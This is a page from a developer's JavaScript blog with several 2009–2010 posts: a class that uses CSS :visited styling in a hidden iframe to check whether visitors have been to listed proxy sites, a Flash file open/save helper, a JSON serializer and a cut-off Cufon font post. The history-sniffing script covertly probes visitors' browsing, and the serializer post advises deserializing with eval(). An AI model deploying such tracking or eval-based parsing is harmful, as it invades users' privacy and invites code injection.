ADM Blog » Java Script

Check if user visited certain websites

admin — Tue, 11 May 2010 13:21:53 +0000

Today I found a website called http://www.stayinvisible.com/ that uses a really clever technique to peak in your browser history. They can't see everything of course but they can see whatever they are interested in and that is a list of web-proxy websites.

So how are they doing it ?

First, they have a list of websites they are interested in, like i said, a list of web-proxies.

var sites = {
    "hidemyass.com": ["http://www.hidemyass.com", "http://forum.hidemyass.com"],
    "freeproxy.ca": ["http://www.freeproxy.ca"],
    "proxy4free.com": ["http://www.proxy4free.com"],
    ....
    ....
    }

Second, they create a temporary IFRAME where they write a simple 2 lines CSS that does the magic

1 2	a { color: #000; display: none} a: visited { color: #F00; display: inline }

... and in the body they append all the links from the sites list.

The browser renders the links, and all the sites that appear in your history will use the "a:visited" CSS class. The others use the normal "a" class that has a display:none property and will be hidden.

What's left to do is iterate all the links from the frame and check if they are visible or not to know which of them are in your history and which of them aren't. Pretty simple eh ?

So here's the class:

var bHistory = function(){
  var sites = {
    "hidemyass.com": ["http://www.hidemyass.com", "http://forum.hidemyass.com"],
    "freeproxy.ca": ["http://www.freeproxy.ca"],
    "proxy.org": ["http://www.proxy.org", "http://www.proxy.org/cgi_proxies.shtml", "http://www.proxy.org/forum/index.html"]
  };
  var visited = {};
  function getStyle(el, scopeDoc,styleProp) {
    if (el.currentStyle) var y = el.currentStyle[styleProp];
    else if (window.getComputedStyle) var y = scopeDoc.defaultView.getComputedStyle(el,null).getPropertyValue(styleProp);
    return y;
  }
  function remove( el ) {
    el.parentNode.removeChild( el );
  }
  function createIframe() {
    var iframe = document.createElement("iframe");
    iframe.style.position = "absolute";
    iframe.style.visibility = "hidden";
    document.body.appendChild(iframe);
    if(iframe.contentDocument) iframe.doc = iframe.contentDocument;
    else if(iframe.contentWindow) iframe.doc = iframe.contentWindow.document;
    iframe.doc.open();
  	iframe.doc.write('');
    iframe.doc.close();
    return iframe;
  }  
  var iframe = createIframe();
  function embedLinkInIframe( href, text ) {
    var a = iframe.doc.createElement("a");
    a.href = href;
    a.innerHTML = site;
    iframe.doc.body.appendChild( a );
  }
  for( var site in sites ) {
    var urls = sites[site];
    for( var i=0; i<urls .length; i++ ) {
      embedLinkInIframe( urls[i], site );
      if( urls[i].match(/www\./) ){
        var sansWWW = urls[i].replace(/www\./, "");
        embedLinkInIframe( sansWWW, site );
      } else {
        var httpLen = urls[i].indexOf("//") + 2;
        var withWWW = urls[i].substring(0, httpLen ) + "www." + urls[i].substring( httpLen );
        embedLinkInIframe( withWWW, site );
      }
    }
  }
  var links = iframe.doc.body.childNodes;
  for( var i=0; i<links.length; i++) {
    var displayValue = getStyle(links[i], iframe.doc, "display");
    var didVisit = displayValue != "none";
    if( didVisit ){
      visited[ links[i].innerHTML ] = true;
    }
  }
  remove( iframe );
  var usedSites = [];
  for( var site in visited ){
    usedSites.push( site );
  }
  return usedSites;
}

To use it:

1 2	var visited = new bHistory(); alert(visited); // an array with visited websites from the defined list

All credits go to the smart man who did this. Cheers!

Open and Save files to Desktop without going to Server

admin — Wed, 05 May 2010 13:21:01 +0000

Few days ago I was working on a jQuery based tool to QA the JavaScript functionality of a website and I was in need of a method to save and load my scripts to Desktop.
In most cases this require a server script where you send the content and it will serve it to download and same for loading it. But a colleague suggested a better solution: to use the FileReference class.
First step was to create a simple flash with the required functionality and send/retrieve data with ExternalInterface. Failed miserably. Why ? Because it seems Flash will not allow you to open a File Dialog from script only. You literally have to click a button from the movie interface to be able to do that. If you knew that good for you, I didn't.

So, I've created another flash movie, where you pass the open and save image and callback and it will insert the flash with the specified images in place and look just like any other buttons.

Here's a small demonstration (other buttons beside open and save are just for show):

So what do you need to set it up ?

First, you have to include the FileDialogs.js in your document (or just paste the code inside it into your own script).

Second, you need your JavaScript callbacks.

function openCallback(input) {
     document.getElementById('text').value = input;
}
 
function saveCallback() {
     return document.getElementById('text').value;
}

openCallback() will be called once the user will select a file from the desktop and pass it's content as a parameter
saveCallback() will be called when the user clicks save, before the dialog to choose a file name opens, and it must return the content you want to save to disk

Third, you must setup the whole thing.

// call this function on the onload event so the placeHolder element gets created
function onLoad() {
    // Create a config object
    var config = new FileDialogsConfig();
    // width of the entire flash movie (buttons width + padding)
    config.width = 45; 
    // height of the movie
    config.height = 16;
    // padding between buttons
    config.padding = 5;
    // open dialog button image and javascript callback function
    config.open.image = "open.png";
    config.open.handler = "openCallback";
    // save dialog button image and javascript callback function
    config.save.image = "save.png";
    config.save.handler = "saveCallback";
    // create the movie inside an element with the given id and configuration
    new FileDialogs("placeHolder", config); 
}

Note: Handler callbacks in the config must be declared as String and not reference. IE will freak out and I don't want to fix it.

You can have only one button (open or save) if you chose so. Just don't set the other one.

That's about it. The placeHolder can be any container element. The script will set it's style size based on the configuration, the movie will have transparent background so don't worry about that, and it will set it's float property to left so you can add other stuff after it. But all those things are easy to configure if you mess a bit with the FileDialogs.js file.

Cheers!

Download Source and Demo

Serialize JavaScript object to JSON

admin — Wed, 28 Apr 2010 11:57:51 +0000

Recently, on a project I was working, I needed a function to serialize a JavaScript object and all I could find online were scripts and jquery plugins for serializing a html form. Then, I found this, a script that takes advantage of the .toSource() method available in Gecko-based browsers and for the rest of them plain old recursion. But it does the trick as expected and I'm pretty sure someone else might need it.

function serialize(_obj) {
   if (_obj != undefined && typeof _obj.toSource !== 'undefined' && typeof _obj.callee === 'undefined') {
      return _obj.toSource();
   }
   switch (typeof _obj) {
      case 'number':
      case 'boolean':
      case 'function':
         return _obj;
         break;
      case 'string':
          return '"' + _obj.replace(/"/mg, "'") + '"';
          break;
      case 'object':
          var str;
          if (_obj.constructor === Array || typeof _obj.callee !== 'undefined') {
              str = '[';
              var i, len = _obj.length;
              for (i = 0; i < len-1; i++) { str += Utils.serialize(_obj[i]) + ','; }
              str += Utils.serialize(_obj[i]) + ']';
          } else {
              str = '{';
              var key;
              for (key in _obj) { str += key + ':' + Utils.serialize(_obj[key]) + ','; }
              str = str.replace(/\,$/, '') + '}';
          }
          return str;
          break;
      default:
          return '""';
          break;
      }
}

To deserialize it, just use eval().

Also, if you need the same thing for your Flash/Flex Actionscript3 project, here is a class for that as well -> Click Me.

Cheers!

Use any Font with Cufon

admin — Wed, 07 Oct 2009 08:57:59 +0000

Typography is one area of web development that has seen painfully little advancement when compared with other areas of the industry. Web developers have been forced to rely on a small set of ‘web safe’ fonts that are likely to be installed on the majority of their visitor’s computers. Image and flash-based solutions have arisen, both of which have downsides to using.

Cufon offers developers a robust and fast solution, which can be displayed in the browser without requiring third-party plugins using features built in to browsers. Cufon fonts can be used as VML for native IE implementation, or the

Usage

This library differs from the others in that a little bit of preparation is required before use; a new font file needs to be generated which can be done easily using the cufon website. The will generate an SVG font and save it in a JS file. This file needs to then be linked to any other